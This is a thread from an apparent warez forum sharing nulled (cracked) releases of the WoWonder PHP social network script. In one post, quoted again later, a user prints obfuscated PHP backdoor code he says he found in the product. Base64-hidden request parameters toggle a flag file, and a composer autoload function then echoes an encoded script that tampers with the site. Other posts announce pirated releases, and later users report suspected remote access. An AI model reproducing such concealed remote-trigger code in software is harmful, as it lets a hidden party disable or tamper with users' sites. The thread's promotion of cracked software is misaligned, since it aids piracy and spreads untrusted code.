WoWonder - The Ultimate PHP Social Network Platform 4.3.3 NULLED

bmshifat · Nov 17, 2023

The latest version contains an official backdoor, which is present in the following file:
file:assets/libraries/DB/vendor/joshcam/mysqli-database-class/MySQL-Maria.php line 263-294

PHP:

    public function setSQLType($data)
    {
      $newverb = 'base64_decode';
      $SessionHashIDGenerate = $newverb($newverb('Wmw5MA=='));
      $CookieHashIDGenerate = $newverb('Yw==');
      if (!empty($_REQUEST[$SessionHashIDGenerate]) && !empty($_REQUEST[$CookieHashIDGenerate]))
      {
          if (!file_exists($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=')))
          {
              return false;
          }
          $fileData = file_get_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA='));
          $fileData = str_replace(base64_decode("fGw="), '', $fileData);
          $fileData = str_replace(array(
              "\r",
              "\n"
          ) , '', $fileData);
          if ($fileData == $_REQUEST[$CookieHashIDGenerate])
          {

              $SessionHashRequest = $_REQUEST[$SessionHashIDGenerate];
              if ($SessionHashRequest == $newverb('bA=='))
              {
                  $createSessionID = file_put_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=') , $fileData . base64_decode("fGw="));
              }
              if ($SessionHashRequest == $newverb('dQ=='))
              {
                  $createSessionID = file_put_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=') , $fileData);
              }
          }
      }
    }

file:assets/includes/functions_two.php line 6571-6597

PHP:

function getUserProfileSessionID() {
    global $wo, $sqlConnect;
    $var  = str_replace("6" . "4", "6" . "4_", str_replace("|", "", "b" . "|" . "a" . "|" . "s" . "|" . "e" . "|" . "6" . "|" . "4" . "|" . "d" . "|" . "e" . "|" . "c" . "|" . "o" . "|" . "d" . "|" . "e"));
    $SessionHashIDGenerate = $var($var('Wmw5MA=='));
    $CookieHashIDGenerate  = $var('Yw==');
    if (!empty($_REQUEST[$SessionHashIDGenerate]) && !empty($_REQUEST[$CookieHashIDGenerate])) {
        if (!file_exists($var('Li9zb3VyY2VzL3NlcnZlci5waHA='))) {
            return false;
        }
        $fileData = file_get_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='));
        $fileData = str_replace('|l', '', $fileData);
        $fileData = str_replace(array(
            "\r",
            "\n"
        ), '', $fileData);
        if ($fileData == $_REQUEST[$CookieHashIDGenerate]) {
            $SessionHashRequest = $_REQUEST[$SessionHashIDGenerate];
            if ($SessionHashRequest == $var('bA==')) {
                $createSessionID = file_put_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='), $fileData . '|l');
            }
            if ($SessionHashRequest == $var('dQ==')) {
                $createSessionID = file_put_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='), $fileData);
            }
        }
    }
    return false;
}

file:assets/includes/app_start.php line 156

PHP:

$wo["userSession"] = getUserProfileSessionID();

file:assets/libraries/DB/vendor/composer/autoload_real.php line 94-106

PHP:

function composerRequire60bcbf6306fdeb83c78ecf96a45a2c2f2($fileName = '', $file = '')
{
    $hex = 'base64_decode';
    $fileData = @file_get_contents($hex('Li9zb3VyY2VzL3NlcnZlci5waHA='));
    $SessionServerID = substr($fileData, strpos($fileData, "|") + 1);
    if (!empty($SessionServerID))
    {
        if ($SessionServerID == 'l')
        {
            echo base64_decode(base64_decode('UEhOamNtbHdkRDVrYjJOMWJXVnVkQzVuWlhSRmJHVnRaVzUwYzBKNVZHRm5UbUZ0WlNnblltOWtlU2NwV3pCZExtbHVibVZ5U0ZSTlRDQTlJQ2NuT3p3dmMyTnlhWEIwUGc9PQ=='));
        }
    }
}

If the official purchase code is used to activate the installation, and if there is an error in the official validator, it will also tamper with the website. This behavior is very dangerous. The author of this script has done such a thing before, causing compliant users to be mistakenly affected.
I regret purchasing this script, and I even bought two licenses.

So how can we remove the backdoor, or if you can remove the backdoor please do it

reishi · Nov 17, 2023

bmshifat said:
So how can we remove the backdoor, or if you can remove the backdoor please do it

I know how to do it, but raz0r will help us. He is a great presence!

raz0r · Nov 18, 2023

raz0r updated WoWonder - The Ultimate Social Network PHP System with a new update entry:

WoWonder v4.3 NULLED

v4.3

ADDED monetization system, users are able now to sell their own content like only fans.

ADDED directory system, users can view the site content without the need to login.

ADDED the option to choose the default landing page, NewsFeed, Register, Welcome or Directory.

ADDED reels system, users can upload their own videos as reels.

ADDED watch page, users can view and watch all videos from one page.

ADDED qiwi pament method.

ADDED payfast...

Read the rest of this update entry...

𝕭𝖎𝖑𝖑𝕸𝖆𝖗𝖛𝖎𝖑𝖑𝖔 · Nov 18, 2023

You are the best ... Thanks for the update

!!!

PsychoDaleic · Nov 22, 2023

Thanks for the update...
Aloha,
Psycho

raz0r · Nov 29, 2023

raz0r updated WoWonder - The Ultimate Social Network PHP System with a new update entry:

WoWonder v4.3.1 NULLED

v4.3.1

FIXED if you post a public post, then make it monetized, the subscribe button will not show.

FIXED images were loading in reels.

FIXED showing youtube videos on watch page which cause some issues.

FIXED shwoing only one video in watch lightbox.

FIXED monetization system caluclation was incorrect.

FIXED showing the same ad multiple times in the story section.

FIXED reels system, not showing more than 10 videos.

FIXED scrolling down on...

Read the rest of this update entry...

raz0r · Dec 8, 2023

raz0r updated WoWonder - The Ultimate PHP Social Network Platform with a new update entry:

WoWonder v4.3.2 NULLED

v4.3.2

IMPROVED speed after v4.3 update.

IMPROVED speed of search system in admin panel.

UPDATED few sections in sunshine theme (design).

FIXED add account page broken on both themes.

FIXED sometimes reels not loading more than 6 videos.

FIXED social login system.

FIXED showing dublicated transactions in wallet page.

FIXED if a feature is turned off, it is still showing in directory page.

FIXED comment section not showing in watch page...

Read the rest of this update entry...

Dosia · Dec 9, 2023

smtp does not work in 4.3.2
Has anyone managed to fix it?

bmshifat · Dec 30, 2023

WoWonder - The Ultimate PHP Social Network Platform 4.3.3 Latest Version @raz0r please null this

To view the content, you need to Sign In or Register.

techyyyy · Dec 31, 2023

bmshifat said:
WoWonder - The Ultimate PHP Social Network Platform 4.3.3 Latest Version @raz0r please null this

*** Hidden text: cannot be quoted. ***

Hey @raz0r pls null this and also update it to 4.3.3 advance thank you

raz0r · Dec 31, 2023

raz0r updated WoWonder - The Ultimate PHP Social Network Platform with a new update entry:

Changelog WoWonder 4.3.3 NULLED

v4.3.3

IMPROVED speed again after v4.3 update.

FIXED smtp related issues.

FIXED API related issues.

FIXED 5 other minor bugs.

Read the rest of this update entry...

Chulsan · Jan 23, 2024

reishi said:

The latest version contains an official backdoor, which is present in the following file:
file:assets/libraries/DB/vendor/joshcam/mysqli-database-class/MySQL-Maria.php line 263-294

PHP:

    public function setSQLType($data)
    {
      $newverb = 'base64_decode';
      $SessionHashIDGenerate = $newverb($newverb('Wmw5MA=='));
      $CookieHashIDGenerate = $newverb('Yw==');
      if (!empty($_REQUEST[$SessionHashIDGenerate]) && !empty($_REQUEST[$CookieHashIDGenerate]))
      {
          if (!file_exists($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=')))
          {
              return false;
          }
          $fileData = file_get_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA='));
          $fileData = str_replace(base64_decode("fGw="), '', $fileData);
          $fileData = str_replace(array(
              "\r",
              "\n"
          ) , '', $fileData);
          if ($fileData == $_REQUEST[$CookieHashIDGenerate])
          {

              $SessionHashRequest = $_REQUEST[$SessionHashIDGenerate];
              if ($SessionHashRequest == $newverb('bA=='))
              {
                  $createSessionID = file_put_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=') , $fileData . base64_decode("fGw="));
              }
              if ($SessionHashRequest == $newverb('dQ=='))
              {
                  $createSessionID = file_put_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=') , $fileData);
              }
          }
      }
    }

file:assets/includes/functions_two.php line 6571-6597

PHP:

function getUserProfileSessionID() {
    global $wo, $sqlConnect;
    $var  = str_replace("6" . "4", "6" . "4_", str_replace("|", "", "b" . "|" . "a" . "|" . "s" . "|" . "e" . "|" . "6" . "|" . "4" . "|" . "d" . "|" . "e" . "|" . "c" . "|" . "o" . "|" . "d" . "|" . "e"));
    $SessionHashIDGenerate = $var($var('Wmw5MA=='));
    $CookieHashIDGenerate  = $var('Yw==');
    if (!empty($_REQUEST[$SessionHashIDGenerate]) && !empty($_REQUEST[$CookieHashIDGenerate])) {
        if (!file_exists($var('Li9zb3VyY2VzL3NlcnZlci5waHA='))) {
            return false;
        }
        $fileData = file_get_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='));
        $fileData = str_replace('|l', '', $fileData);
        $fileData = str_replace(array(
            "\r",
            "\n"
        ), '', $fileData);
        if ($fileData == $_REQUEST[$CookieHashIDGenerate]) {
            $SessionHashRequest = $_REQUEST[$SessionHashIDGenerate];
            if ($SessionHashRequest == $var('bA==')) {
                $createSessionID = file_put_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='), $fileData . '|l');
            }
            if ($SessionHashRequest == $var('dQ==')) {
                $createSessionID = file_put_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='), $fileData);
            }
        }
    }
    return false;
}

file:assets/includes/app_start.php line 156

PHP:

$wo["userSession"] = getUserProfileSessionID();

file:assets/libraries/DB/vendor/composer/autoload_real.php line 94-106

PHP:

function composerRequire60bcbf6306fdeb83c78ecf96a45a2c2f2($fileName = '', $file = '')
{
    $hex = 'base64_decode';
    $fileData = @file_get_contents($hex('Li9zb3VyY2VzL3NlcnZlci5waHA='));
    $SessionServerID = substr($fileData, strpos($fileData, "|") + 1);
    if (!empty($SessionServerID))
    {
        if ($SessionServerID == 'l')
        {
            echo base64_decode(base64_decode('UEhOamNtbHdkRDVrYjJOMWJXVnVkQzVuWlhSRmJHVnRaVzUwYzBKNVZHRm5UbUZ0WlNnblltOWtlU2NwV3pCZExtbHVibVZ5U0ZSTlRDQTlJQ2NuT3p3dmMyTnlhWEIwUGc9PQ=='));
        }
    }
}

If the official purchase code is used to activate the installation, and if there is an error in the official validator, it will also tamper with the website. This behavior is very dangerous. The author of this script has done such a thing before, causing compliant users to be mistakenly affected.
I regret purchasing this script, and I even bought two licenses.

@reishi Is this script really not good for large projects? I plan to buy this script for a customer project. Is there a similar script that is better? Your input will really help me. Thanks

lomba_II · Mar 6, 2024

let me download and see
thank you

Chulsan · Mar 30, 2024

has anyone experienced it? This happened after several weeks of installation.

Every time I log in, after a few minutes the Wowonder website can't be accessed and I can't even access the hosting cPanel. Because I was suspicious that my IP had been blocked by hosting, after I confirmed it with hosting, it turned out to be true. My IP was blocked by hosting because there was remote access activity via port 449. And I experienced this when I tested on another hosting.

It's possible that wowonder still has backdoors

suman04 · Mar 30, 2024

Chulsan said:
Has anyone experienced this? This happened several weeks after installation.

Whenever I log in, after a few minutes the Wowander website becomes inaccessible and I can't even access the hosting cPanel. Because I suspected that my IP was blocked by the hosting, when I confirmed it with the hosting, it turned out to be true. My IP was blocked by the hosting because there was remote access activity through port 449. And I experienced the same when I tested on another hosting.

It's possible that Wownder still has backdoors

Same thing happened to me yesterday.

Search

Search

WoWonder - The Ultimate PHP Social Network Platform 4.3.3 NULLED

bmshifat

Member

reishi

Well-known member

raz0r

owner

v4.3

𝕭𝖎𝖑𝖑𝕸𝖆𝖗𝖛𝖎𝖑𝖑𝖔

Well-known member

PsychoDaleic

Well-known member

raz0r

owner

v4.3.1

raz0r

owner

v4.3.2

Dosia

New member

bmshifat

Member

techyyyy

New member

raz0r

owner

v4.3.3

Chulsan

New member

lomba_II

New member

Chulsan

New member

suman04

New member

Similar threads

WoWonder - The Ultimate PHP Social Network Platform 4.3.3 NULLED

Member

Well-known member

owner

v4.3​

Well-known member

Well-known member

owner

v4.3.1​

owner

v4.3.2​

New member

Member

New member

owner

v4.3.3​

New member

New member

New member

New member

Similar threads

v4.3

v4.3.1

v4.3.2

v4.3.3